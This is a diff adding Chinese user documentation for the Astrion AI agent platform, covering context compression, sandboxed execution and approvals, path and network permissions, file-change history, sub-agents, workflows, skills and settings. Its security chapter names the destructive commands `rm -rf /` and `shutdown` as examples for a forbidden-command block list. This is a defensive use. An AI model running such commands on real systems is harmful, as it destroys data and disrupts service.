典型用法:`/skill` 选技能、`/workflow` 选工作流、`/model` 切模型——比在 `+` 菜单里翻要快。
|
||||||
|
|
||||||
|
## 3. `@` 文件引用
|
||||||
|
|
||||||
|
输入 `@` 唤起文件菜单,从工作区中选择文件/目录插入引用。被引用的文件会作为上下文提供给智能体,适合「就这个文件展开讨论」的场景。图片类文件引用会按多模态能力处理。
|
||||||
|
|
||||||
|
## 4. 上下文压缩:浅压缩与深压缩
|
||||||
|
|
||||||
|
长对话迟早会触及模型上下文上限,Astrion 提供两级自动压缩 + 手动压缩:
|
||||||
|
|
||||||
|
### 浅压缩(默认关闭)
|
||||||
|
|
||||||
|
- 机制:把较早的**工具调用结果替换为占位符**(保留最近 N 个工具结果不压),立刻腾出空间。
|
||||||
|
- 触发:默认累计 80k tokens 触发(可调),另有「每 N 次工具调用」「每轮最多替换 N 个」「保留最近 N 次用户输入后的工具不压」等细调参数。
|
||||||
|
- ⚠️ **重要代价:浅压缩会改动历史消息内容,从而破坏服务商侧的上下文缓存(prompt cache)**——压缩后的几轮请求将无法命中缓存,表现为响应变慢、费用上升。这是它默认关闭的原因。
|
||||||
|
|
||||||
|
### 深压缩(默认开启,推荐)
|
||||||
|
|
||||||
|
- 机制:对整段历史做**深度总结**,旧上下文整体替换为浓缩摘要后轻装继续。
|
||||||
|
- 产物形式可选(`deep_compress_form`):`file`——总结写入文件,需要时随时回读(默认);`inject`——直接把总结全文注入上下文。
|
||||||
|
- 触发:默认 150k tokens。
|
||||||
|
|
||||||
|
### 自定义阈值的 80% 规则(务必遵守)
|
||||||
|
|
||||||
|
如果你要自定义压缩触发阈值,**至少设为所用模型实际可用上下文的 80%**。
|
||||||
|
|
||||||
|
例如模型实际上下文是 128k,触发阈值不应低于约 102k。阈值设得太低会频繁触发压缩:既浪费 token,又频繁破坏上下文缓存,还会让 AI 过早丢失细节记忆。让对话尽量「用满窗口再压缩」才是性价比最高的用法。
|
||||||
|
|
||||||
|
> 模型的实际上下文窗口以 `custom_models.json` 中该模型的 `context_window` 为准;注意区分「标称上下文」与「实际可用上下文」(部分 API 会预留输出空间)。
|
||||||
|
|
||||||
|
### 手动压缩
|
||||||
|
|
||||||
|
`+` 菜单 →「压缩对话」随时可手动触发,适合你预判接下来要开新话题、主动腾空间的场景。
|
||||||
|
|
||||||
|
## 5. 上下文注入类功能
|
||||||
|
|
||||||
|
这些功能影响每轮对话自动携带的上下文,都在个人空间配置:
|
||||||
|
|
||||||
|
- **最近对话提示**(默认关闭):开启后,新对话自动把最近 N 条历史对话的摘要注入上下文(N 可配,1–30,默认 10)。适合「我最近一直在折腾同一个项目」的连续工作流;与「对话连续性」个性化设置配合使用。
|
||||||
|
- **AGENTS.md 自动注入**(默认关闭):开启后自动把项目根目录的 AGENTS.md 注入上下文,让 AI 始终带着项目规范工作。
|
||||||
|
- **项目记忆索引注入**:AI 的项目记忆索引默认最多注入 20 条(5 起,可设为无上限)。记忆内容由 AI 在工作过程中主动沉淀。
|
||||||
|
- **Skill 提示**(默认关闭):根据当前任务动态提示可能相关的 Skill。
|
||||||
|
|
||||||
|
## 6. 上传与多模态
|
||||||
|
|
||||||
|
- **上传文件**:进入工作区,AI 后续可读取处理;
|
||||||
|
- **发送图片/视频**:随消息直接进入多模态上下文;
|
||||||
|
- 图片压缩档位(个人空间):`原图 / 1080p / 720p / 540p`,默认原图。长对话里多发大图建议降档,节省上下文。
|
||||||
86
website-content/05-execution-security.md
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
# 执行与安全
|
||||||
|
|
||||||
|
本章讲 Astrion 如何安全地执行 AI 发起的操作:沙箱执行的实际行为、路径授权、审批机制。概念层面的四组开关(部署/权限/执行环境/运行模式)请先看《核心概念》,本章聚焦具体行为与日常管理。
|
||||||
|
|
||||||
|
> 范围说明:「实时终端」只是观察面板,与安全机制无关,见《对话》一章。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 命令是怎么被执行的
|
||||||
|
|
||||||
|
### run_command:两段式执行
|
||||||
|
|
||||||
|
以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是:
|
||||||
|
|
||||||
|
1. **先在只读身份下执行**——能读不能写(host 模式靠 OS 沙箱,docker 模式靠容器内的非特权用户);
|
||||||
|
2. 如果命令没碰写操作,直接返回结果,全程无感;
|
||||||
|
3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**;
|
||||||
|
4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行;
|
||||||
|
5. AI 拿到的是最终结果,中间过程不干扰它的思路。
|
||||||
|
|
||||||
|
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。
|
||||||
|
|
||||||
|
### 终端会话:身份钉死,切换即关闭
|
||||||
|
|
||||||
|
持久终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档(readonly/approval/auto_approval)下终端以只读身份运行,终端里的写入由系统直接拒绝(EPERM);`unrestricted` 下才是可写身份。当你**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
|
||||||
|
|
||||||
|
### 子智能体与后台命令
|
||||||
|
|
||||||
|
子智能体的终端进程同样经过执行环境策略:sandbox 下经宿主机沙箱启动,direct 下直接宿主机启动;docker 模式则在容器内执行。后台命令(`run_in_background`)与前台命令走同一套只读/可写沙箱判定,**不会因为放后台就绕过权限**。
|
||||||
|
|
||||||
|
## 2. 路径授权的日常管理
|
||||||
|
|
||||||
|
入口:输入栏 `+` 菜单 →「路径授权」。
|
||||||
|
|
||||||
|
- **可读可写路径**:AI 的完整工作范围,通常就是你的项目目录;
|
||||||
|
- **仅可读路径**:允许 AI 参考但禁止修改,比如参考文档、线上配置样例、别的项目源码。
|
||||||
|
|
||||||
|
建议实践:
|
||||||
|
|
||||||
|
1. 保持最小授权——只加当前任务需要的目录;
|
||||||
|
2. 敏感目录(`~/.ssh`、密钥库、系统目录)永远不要加入任何一类;
|
||||||
|
3. 任务性质变化时及时调整,授权是即时生效的(新终端会话除外,见上)。
|
||||||
|
|
||||||
|
## 3. 网络权限
|
||||||
|
|
||||||
|
输入栏权限菜单中独立的一组:
|
||||||
|
|
||||||
|
- **受限**(默认):仅本地回环,AI 无法访问外部网络——适合纯本地任务,也杜绝了数据外发;
|
||||||
|
- **完全开放**:允许出站/入站连接——需要 AI 联网搜索、调外部 API、装依赖时开启。
|
||||||
|
|
||||||
|
网络权限与文件沙箱相互独立,且在 plan 模式下也可调整。
|
||||||
|
|
||||||
|
## 4. 审批面板
|
||||||
|
|
||||||
|
入口:`+` 菜单 →「审批面板」。这里能看到审批记录:哪些命令/写入被提请审批、谁批的(人工或自动审批智能体)、结果如何。`auto_approval` 模式下如果不想让面板自动弹出打扰,个人空间有开关(默认不自动打开)。
|
||||||
|
|
||||||
|
## 5. 禁止命令清单
|
||||||
|
|
||||||
|
部署级配置 `forbidden_commands.json`(放 `<数据根>/config/`)可以配置**绝对禁止执行的命令特征**,命中即拒,与权限模式无关。这是兜底防线,适合在服务器部署时封死 `rm -rf /`、`shutdown` 这类命令。
|
||||||
|
|
||||||
|
## 6. 关于 direct 模式的忠告
|
||||||
|
|
||||||
|
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限(readonly/approval/auto_approval)硬互斥——只有 `unrestricted` 才能选 direct,从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时:
|
||||||
|
|
||||||
|
1. 先把权限档切到 `unrestricted`,再临时切到 direct;
|
||||||
|
2. 跑完立即切回 sandbox(和原来的权限档);
|
||||||
|
3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。
|
||||||
|
|
||||||
|
## 7. docker 模式的安全现状
|
||||||
|
|
||||||
|
docker 模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制:
|
||||||
|
|
||||||
|
- 受限档(readonly/approval/auto_approval)下,run_command、后台命令与持久终端都以**非特权用户(uid 10001)**在容器内执行——工作区属主是 root,写入由内核文件权限直接拒绝,不依赖对命令文本的识别;审批通过后,仅该条命令以 root 身份重试;
|
||||||
|
- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock(按官方部署文档操作即满足);
|
||||||
|
- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界;
|
||||||
|
- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。
|
||||||
|
|
||||||
|
## 8. 各平台安全水位
|
||||||
|
|
||||||
|
再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度:
|
||||||
|
|
||||||
|
- **Windows(WSL2)**:可做到完全数据隔离,需先安装 WSL2;
|
||||||
|
- **macOS(sandbox-exec)**:白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读);
|
||||||
|
- **Linux(bwrap+seccomp)**:写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。
|
||||||
|
|
||||||
|
无论哪个平台,沙箱的首要价值是**防误操作**;涉及真正的敏感数据,请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。
|
||||||
68
website-content/06-conversation-assets.md
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
# 对话资产管理
|
||||||
|
|
||||||
|
AI 改了你工作区的文件之后,「改了什么、怎么回滚、坏到哪一版」就是核心问题。Astrion 提供三层资产保障:**版本控制**(对话级检查点)、**修改留痕**(任务级 diff)、**Git 状态栏**(实时感知)。它们相互独立、可叠加使用。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 版本控制
|
||||||
|
|
||||||
|
对话级的文件检查点系统,让 AI 的每一轮改动都有快照可回退。
|
||||||
|
|
||||||
|
### 开关与备份方式
|
||||||
|
|
||||||
|
- 新对话**默认开启**(个人空间可改默认值);
|
||||||
|
- 单个对话可在 `+` 菜单 →「版本控制」临时开关;
|
||||||
|
- 备份方式二选一(个人空间):
|
||||||
|
- **浅备份(默认)**:只追踪 AI 通过 **write_file / edit_file** 编辑的文件,每次编辑前自动备份当前内容——快、省空间,绝大多数场景够用。⚠️ 注意边界:**AI 用 run_command 执行命令改动的文件(如 sed、重定向、脚本写入)不在浅备份的追踪范围内**;
|
||||||
|
- **完全备份**:整工作区快照——最稳,但大项目下会明显变慢占空间。
|
||||||
|
|
||||||
|
### 检查点粒度:每条用户消息
|
||||||
|
|
||||||
|
- 你**每手动发送一条消息**,系统在该消息处理完成后记录一个检查点,引用当时所有已追踪文件的最新备份版本——也就是说,回溯的最小颗粒度是「一次用户手动发送的消息」,而不是单个文件编辑;
|
||||||
|
- 查看某个检查点的 diff = 该消息快照与上一条消息快照之间的差异;
|
||||||
|
- **回滚**到某个检查点 = 把所有已追踪文件恢复到该消息时的状态(覆盖式,回滚前请确认当前改动已另存或已提交)。
|
||||||
|
|
||||||
|
### 与其他机制的关系
|
||||||
|
|
||||||
|
- 版本控制追踪的是**文件系统状态**,与对话消息无关;
|
||||||
|
- 它与 Git 不冲突:AI 不会替你 commit,版本控制是 Git 之外的另一张安全网,适合「还没来得及 commit 就被改坏了」的场景。
|
||||||
|
|
||||||
|
## 2. 修改留痕(modify history)
|
||||||
|
|
||||||
|
任务级的净修改记录,**默认开启**。
|
||||||
|
|
||||||
|
- 每完成一轮任务,本轮对话中 AI 编辑过的全部文件以 **unified diff** 形式落盘到:`<工作区>/.astrion/modify_history/<对话ID>/`;
|
||||||
|
- 每个任务一个 `.diff` 文件,文件名含该任务的用户输入摘要与开始时间;
|
||||||
|
- 对话中的「编辑摘要卡片」展示本轮编辑过的文件列表,点击可查看 diff;卡片的显示时机可在个人空间配置(默认工作完成后显示,也可改为运行期间实时显示)。
|
||||||
|
|
||||||
|
### 用 diff 文件手工恢复
|
||||||
|
|
||||||
|
留痕文件可直接用 git 工具操作:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd <工作区>
|
||||||
|
git apply <diff文件> # 重做这次修改
|
||||||
|
git apply -R <diff文件> # 撤销这次修改
|
||||||
|
```
|
||||||
|
|
||||||
|
典型场景:版本控制没开、Git 没 commit、`git checkout` 误覆盖了 AI 的劳动成果——去 modify_history 里找到对应任务的 diff,`git apply` 即可恢复。
|
||||||
|
|
||||||
|
> 该目录由系统自动维护,请勿手工增删其中文件;可在个人空间整体关闭(关闭后既不落盘也不注入提示)。
|
||||||
|
|
||||||
|
## 3. Git 状态栏
|
||||||
|
|
||||||
|
输入栏上方的状态条,实时显示当前工作区的 Git 状态摘要(当前分支、未提交改动量等),让你在不离开对话的情况下掌握「工作区现在脏不脏、AI 改了多少」。
|
||||||
|
|
||||||
|
- 默认显示;`+` 菜单 →「Git 状态栏」可快速显隐,个人空间有同款设置项;
|
||||||
|
- 工作区不是 Git 仓库时不显示。
|
||||||
|
|
||||||
|
## 4. 三层机制怎么选
|
||||||
|
|
||||||
|
| 需求 | 用哪层 |
|
||||||
|
|------|--------|
|
||||||
|
| 实时感知工作区改动 | Git 状态栏 |
|
||||||
|
| 回滚到对话中的某个时间点 | 版本控制 |
|
||||||
|
| 精确恢复/撤销某一轮任务的修改 | 修改留痕 diff |
|
||||||
|
| 长期、严肃的规模开发 | 仍然要 Git commit——前三级都是安全网,不是版本管理的替代品 |
|
||||||
|
|
||||||
|
推荐姿势:重要项目保持「版本控制开 + 修改留痕开 + 勤 commit」,三张网叠加,AI 怎么折腾都丢不了东西。
|
||||||
156
website-content/07-agent-capabilities.md
Normal file
@ -0,0 +1,156 @@
|
|||||||
|
# 智能体能力
|
||||||
|
|
||||||
|
Astrion 的智能体能力分五块:**子智能体**(主智能体派出的分身)、**多智能体对话**(一个角色团队)、**工作流**(既定流程模板)、**Skills**(专业技能包)、**MCP**(外部工具接入)。本章讲每块怎么用、怎么配。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 子智能体
|
||||||
|
|
||||||
|
### 是什么
|
||||||
|
|
||||||
|
子智能体是主智能体在**同一进程内**派出的独立执行体:有自己的上下文、自己的模型配置、独立的生命周期。主智能体用它来**并行处理相互独立的任务**——典型场景:同时调研三个技术方案、边跑测试边整理文档。
|
||||||
|
|
||||||
|
它**不适合**什么:子智能体之间无法通信、看不到主对话历史,所以协作型任务(A 的输出是 B 的输入)应顺序执行或交给一个子智能体完成。代码编写/修改类任务默认由主智能体亲自完成。
|
||||||
|
|
||||||
|
### 怎么用
|
||||||
|
|
||||||
|
通常你不需要直接操作——告诉主智能体「同时帮我做 X 和 Y」,它会自己判断拆分成子智能体。两种运行方式:
|
||||||
|
|
||||||
|
- **前台(阻塞)**:主智能体停下来等它完成,适合快任务、后续依赖结果的场景;
|
||||||
|
- **后台**:主智能体继续干活或与你聊天,子智能体完成后系统自动通知。
|
||||||
|
|
||||||
|
你可以通过对话区右侧**快捷窗口的「子智能体」窗**实时查看每个子智能体的状态与输出(见《快捷窗口》)。
|
||||||
|
|
||||||
|
### 生命周期与限制
|
||||||
|
|
||||||
|
- 状态:`running`(运行中)→ `idle`(空闲,上下文保留,可继续对话)/ 终态(完成/失败/超时/终止);
|
||||||
|
- 并发上限默认 **5**(`SUB_AGENT_MAX_ACTIVE`);
|
||||||
|
- 默认超时 **180 秒**,创建时可为单个任务指定更长超时(大规模分析建议 1800 秒以上);
|
||||||
|
- 产出物约定放在工作区 `sub_agent_results/` 下。
|
||||||
|
|
||||||
|
### 怎么配(模型库)
|
||||||
|
|
||||||
|
子智能体使用独立模型库 `sub_agent_models.json`,配置方法见《快速上手》第 6 节。创建单个任务时主智能体可指定:模型条目、思考模式、超时、最大轮数等。不配则用 `default_model` 条目。
|
||||||
|
|
||||||
|
## 2. 多智能体对话
|
||||||
|
|
||||||
|
### 是什么
|
||||||
|
|
||||||
|
一种**对话类型**(创建时选定,不可变):主智能体固定为 Team Leader,负责理解你的需求、拆解任务、创建并指挥一组**带角色的子智能体**,汇总它们的产出。
|
||||||
|
|
||||||
|
### 角色系统
|
||||||
|
|
||||||
|
预置 5 个角色:
|
||||||
|
|
||||||
|
| 角色 | 职责 |
|
||||||
|
|------|------|
|
||||||
|
| Full-Stack Engineer | 前后端代码实现、接口设计、调试联调 |
|
||||||
|
| UI Operator | 界面操作与视觉验证 |
|
||||||
|
| Code Reviewer | 代码审查 |
|
||||||
|
| Researcher | 调研与信息收集 |
|
||||||
|
| Brainstormer | 头脑风暴与方案发散 |
|
||||||
|
|
||||||
|
角色 = `角色ID + 实例编号`,显示名如 `Full-Stack Engineer_1`,编号按角色内递增。
|
||||||
|
|
||||||
|
**自定义角色**:个人空间里有角色编辑器(角色列表 → 新建/编辑)。角色定义是一个带元信息的 Markdown 文件:
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
---
|
||||||
|
id: full-stack-engineer # 角色ID
|
||||||
|
name: Full-Stack Engineer # 显示名
|
||||||
|
description: 职责一句话 # Team Leader 据此派活
|
||||||
|
model: "" # 指定模型(留空用子智能体模型库默认)
|
||||||
|
thinking_mode: thinking # fast / thinking
|
||||||
|
---
|
||||||
|
|
||||||
|
(正文是该角色的系统提示词:职责、工作原则、约束……)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 通信机制(用起来需要知道的)
|
||||||
|
|
||||||
|
- Team Leader 给子智能体发消息有两种:**派活**(不阻塞,继续干别的)和**询问**(阻塞等它回一轮);
|
||||||
|
- 子智能体之间可以互相请教/回答,但**所有子间通信都会同步汇报给 Team Leader**;
|
||||||
|
- 子智能体每一轮输出都会实时汇报给 Team Leader 并展示在对话流里,你可以随时插话纠偏。
|
||||||
|
|
||||||
|
### 什么时候用多智能体
|
||||||
|
|
||||||
|
适合:一个小型项目需要「写代码的 + 审代码的 + 跑界面的」分工协作;不适合:单线程就能干完的任务(徒增协调开销)。
|
||||||
|
|
||||||
|
## 3. 工作流
|
||||||
|
|
||||||
|
### 是什么
|
||||||
|
|
||||||
|
把一套**既定流程**(阶段、审核点、分支、结束方式)写成 `WORKFLOW.md` 存为模板;激活后,智能体严格按流程逐阶段推进,每个阶段完成后向你或审核智能体汇报,审核通过才进入下一阶段。
|
||||||
|
|
||||||
|
### 怎么用
|
||||||
|
|
||||||
|
- 激活:`+` 菜单 →「工作流」,或输入 `/workflow` 选择;
|
||||||
|
- 推进:每个阶段完成后 AI 自动汇报并进入下一阶段(含审核节点时由审核智能体把关,驳回会带整改意见退回上一阶段);
|
||||||
|
- 分支:流程到分支点时,AI 给出可选路径菜单让你拍板;
|
||||||
|
- 退出/查看进度:随时可以让 AI 退出工作流或汇报当前进展;
|
||||||
|
- 同一对话同时只能激活一个工作流。
|
||||||
|
|
||||||
|
### 内置工作流
|
||||||
|
|
||||||
|
| 工作流 | 用途 |
|
||||||
|
|--------|------|
|
||||||
|
| bug-fix-triage | 缺陷分诊与修复流程 |
|
||||||
|
| code-review-pipeline | 代码评审流水线 |
|
||||||
|
| feature-development | 功能开发全流程 |
|
||||||
|
| research-report | 调研报告生成流程 |
|
||||||
|
|
||||||
|
### 自定义工作流
|
||||||
|
|
||||||
|
参照内置工作流的 `WORKFLOW.md` 格式编写,放入工作流库目录即可。建议直接用自然语言让 AI「按 workflow-authoring 技能帮我写一个 xx 流程」——系统内置了编写规范和格式校验,写完自动归档可激活。
|
||||||
|
|
||||||
|
工作流审核由**工作流审核智能体**(`workflow_review`)执行,配置见下文「审核智能体」。
|
||||||
|
|
||||||
|
## 4. Skills(技能包)
|
||||||
|
|
||||||
|
### 是什么
|
||||||
|
|
||||||
|
Skill = 一个文件夹 + 一份 `SKILL.md`(带元信息的技能说明书)。它把「某类任务该怎么做」的经验沉淀下来,AI 遇到匹配场景时先读技能再动手——相当于给 AI 发岗位培训手册。
|
||||||
|
|
||||||
|
### 内置 Skills(12 个)
|
||||||
|
|
||||||
|
`agent-build-standard`(Agent 架构教学)、`agents-md-writer`(写 AGENTS.md)、`docx`(Word 文档)、`pptx`(PPT)、`frontend-design`(前端设计)、`ui-aesthetic-design`(UI 美学)、`skill-creator`(创建新 Skill)、`workflow-authoring`(写工作流)、`run-command-guide`(命令执行规范)、`terminal-guide`(终端使用规范)、`sub-agent-guide`(子智能体规范)、`mcp-tool-config`(MCP 自助配置)。
|
||||||
|
|
||||||
|
### 怎么用
|
||||||
|
|
||||||
|
- 插入引用:输入 `//` 或 `+` 菜单 →「选择 AgentSkill」,把技能引用插进消息;
|
||||||
|
- 启用/停用:个人空间「工具与 Skills」页管理启用列表;
|
||||||
|
- **强约束开关**(默认全关):可分别要求「用终端前先读 terminal-guide」「用 run_command 前/后台前先读规范」「派子智能体前先读 sub-agent-guide」——适合新手期防误用,熟练后可关;
|
||||||
|
- **Skill 提示**(默认关):根据任务动态提示可能相关的技能。
|
||||||
|
|
||||||
|
### 自定义 Skill
|
||||||
|
|
||||||
|
直接对 AI 说「把今天的流程沉淀成一个 skill」,它会按 `skill-creator` 规范创建、校验并归档,之后即可复用。用户技能存放在工作区 `.astrion/skills/`。
|
||||||
|
|
||||||
|
## 5. MCP 工具扩展
|
||||||
|
|
||||||
|
通过 [Model Context Protocol](https://modelcontextprotocol.io) 接入外部工具服务(数据库、浏览器自动化、第三方 SaaS……),接入后 AI 工具列表里会出现 `mcp__服务名__工具名` 形式的新工具。
|
||||||
|
|
||||||
|
- **配置文件**:`<数据根>/<模式>/data/mcp_servers.json`(可用 `MCP_SERVERS_FILE` 覆盖);
|
||||||
|
- **总开关**:`MCP_TOOLS_ENABLED`(默认开);
|
||||||
|
- 协议版本 `2025-06-18`,工具发现/调用默认超时 25 秒;
|
||||||
|
- **host 模式特色**:你可以直接让 AI「帮我配置 xxx MCP 服务」——内置 `mcp-tool-config` 技能会引导它自己写好配置并生效。
|
||||||
|
|
||||||
|
## 6. 审核智能体(三个)
|
||||||
|
|
||||||
|
三个在关键节点替你把关的独立 AI,统一在个人空间「审核智能体」页配置,**模型复用子智能体模型库**:
|
||||||
|
|
||||||
|
| 审核智能体 | 介入时机 |
|
||||||
|
|------------|----------|
|
||||||
|
| `auto_approval` 自动审批 | `auto_approval` 权限模式下,命令要写沙箱外/触发权限拒绝时自动审批 |
|
||||||
|
| `goal_review` 目标审核 | 目标模式下,评估每轮工作是否达成目标 |
|
||||||
|
| `workflow_review` 工作流审核 | 工作流的审核节点,决定放行还是驳回 |
|
||||||
|
|
||||||
|
每个可配:`model`(留空用模型库默认)、`thinking`(思考模式)、`timeout_seconds`、`max_rounds`、`max_command_timeout`。
|
||||||
|
|
||||||
|
> 经验:审核智能体建议选**便宜但稳定**的模型——它们调用频繁、任务模式固定,没必要上旗舰。
|
||||||
|
|
||||||
|
## 7. 组合玩法示例
|
||||||
|
|
||||||
|
- **多智能体 + 工作流**:激活 feature-development 工作流后,Team Leader 按流程指挥角色团队逐阶段交付;
|
||||||
|
- **子智能体 + Skills**:调研任务前插入 `//frontend-design`,子智能体带着设计规范干活;
|
||||||
|
- **MCP + 快捷窗口**:浏览器自动化 MCP 跑长任务时,在「后台命令」窗口盯实时进度。
|
||||||
33
website-content/08-quick-dock.md
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
# 快捷窗口(Quick Dock)
|
||||||
|
|
||||||
|
对话区右侧的一列浮动窗口,把「任务进行中产生的可交互产物」集中在一处,不用翻消息流就能盯住全局。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 五个窗口
|
||||||
|
|
||||||
|
自上而下依次是:
|
||||||
|
|
||||||
|
| 窗口 | 显示什么 | 典型操作 |
|
||||||
|
|------|----------|----------|
|
||||||
|
| **工作流** | 当前激活的工作流:处于哪个阶段、审核状态、待决分支 | 查看流程进展,配合分支选择 |
|
||||||
|
| **待办** | AI 创建的任务清单(todo):每件事的完成状态 | 看 AI 的执行计划推进到哪一步 |
|
||||||
|
| **子智能体** | 运行中/空闲的子智能体实例:状态、当前在做什么 | 点详情看输出时间线;⋯ 菜单**强制关闭**失控实例 |
|
||||||
|
| **后台命令** | 后台运行的命令任务:状态、耗时 | 点详情看完整输出;⋯ 菜单强制关闭 |
|
||||||
|
| **文件记录** | 本轮任务 AI 编辑/创建过的文件 | ⋯ 菜单:**下载** / **在文件管理器中打开**(host 模式)/ **复制路径** |
|
||||||
|
|
||||||
|
### 详情面板
|
||||||
|
|
||||||
|
- 点击子智能体/后台命令条目 → 打开**运行器详情面板**:输出与工具调用按真实时间线混排,失控时可强制关闭;
|
||||||
|
- 点击文件条目 → 打开**文件预览面板**:直接查看文件内容。长行默认横向滚动,个人空间可改为按面板宽度自动换行。
|
||||||
|
|
||||||
|
## 2. 展开与收起
|
||||||
|
|
||||||
|
- **有内容时自动展开**(默认):任何一个窗口有内容时,整列自动展开;全空时自动收起为边缘细条,不占地方;
|
||||||
|
- 个人空间可改为**仅手动展开**(`quick_dock_auto_expand`),或**整体隐藏**(`hide_quick_dock`)。
|
||||||
|
|
||||||
|
## 3. 使用心法
|
||||||
|
|
||||||
|
- **盯失控**:子智能体/后台命令行为异常时,不用在对话里喊话,直接 ⋯ → 强制关闭;
|
||||||
|
- **盯进度**:长任务期间,待办窗 + 子智能体窗就是项目看板;
|
||||||
|
- **收产物**:任务结束到文件记录窗批量下载或跳目录,比在消息流里翻卡片快得多。
|
||||||
154
website-content/09-settings.md
Normal file
@ -0,0 +1,154 @@
|
|||||||
|
# 个人空间设置全解
|
||||||
|
|
||||||
|
个人空间(输入栏 `+` 菜单 →「个人设置」)共分 12 个标签页(管理员多 1 个)。本章**逐页逐项**说明每个设置的作用、默认值与使用场景——设置页面里一句话说不清的,都在这里讲透。
|
||||||
|
|
||||||
|
> 约定:「默认」指代码出厂默认值;如果你用过 `setup.sh` 向导,个别默认值可能被向导的选择覆盖。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 常规
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 自动生成标题 | 开 | 首轮对话后自动生成对话标题。关闭后新对话保持「新对话」占位名,需手动重命名 |
|
||||||
|
|
||||||
|
## 2. 个性化
|
||||||
|
|
||||||
|
这一页决定「AI 用什么人格与你相处」。
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 作用与场景 |
|
||||||
|
|--------|------|------------|
|
||||||
|
| 启用个性化 | 关 | 本页总开关。关闭时下列配置不注入提示词 |
|
||||||
|
| AI 自称 | 空 | AI 如何称呼自己(≤20 字),如「小A」 |
|
||||||
|
| 称呼你 | 空 | AI 如何称呼你(≤20 字) |
|
||||||
|
| 职业 | 空 | 你的职业(≤20 字)。填了 AI 会按你的背景调整表达深浅——开发者给技术细节,业务人员讲人话 |
|
||||||
|
| 语气 | 空 | 8 个预设:健谈 / 幽默 / 直言不讳 / 鼓励性 / 诗意 / 企业商务 / 打破常规 / 同理心 |
|
||||||
|
| 注意事项 | 空 | **最强大的一项**:最多 10 条、每条 2000 字的长期指令,每轮对话都注入。适合写「回答必须用中文」「代码注释用英文」「我是色弱,图表避免红绿配色」这类长期偏好 |
|
||||||
|
| 交流风格 | 标准 | 标准 AI 风格 / 拟人聊天风格 / 自动(按场景切换) |
|
||||||
|
| 对话连续性 | 中 | 高:主动回顾历史对话与记忆;中:平衡;低:每轮对话尽量独立。**开了「最近对话提示」却觉得 AI 总是答非所问地提旧事,就把这里调低** |
|
||||||
|
|
||||||
|
## 3. 模型与思考
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 默认模型 | 模型库第一个可见项 | 新对话默认使用的模型,可选库中任意已注册模型 |
|
||||||
|
| 默认思考模式 | 思考 | fast / thinking。思考模式质量更高,快速模式响应更快 |
|
||||||
|
| 默认推理强度 | 默认(不传参) | 默认 / 低 / 中 / 高;需模型开启 `reasoning_effort` 才生效 |
|
||||||
|
|
||||||
|
> 这里的「默认」都只影响**新建对话**;已有对话用输入栏的切换器单独调。
|
||||||
|
|
||||||
|
## 4. 外观与显示
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) |
|
||||||
|
| 消息流显示模式 | 堆叠动画 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) |
|
||||||
|
| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 |
|
||||||
|
| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 |
|
||||||
|
| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) |
|
||||||
|
| 显示 Git 状态栏 | 开 | 输入栏上方的 Git 状态条 |
|
||||||
|
| 显示自定义称呼 | 开 | 在界面中显示你设置的自称/称呼 |
|
||||||
|
| 增强工具显示 | 开 | 工具结果结构化渲染;关掉则更接近原始输出 |
|
||||||
|
| 自动打开终端面板 | — | 终端任务时自动展开实时终端面板 |
|
||||||
|
| 快捷窗口自动展开 | 开 | Quick Dock 有内容时自动展开;关闭则只能手动点开 |
|
||||||
|
| 隐藏快捷窗口 | 关 | 整体关闭 Quick Dock |
|
||||||
|
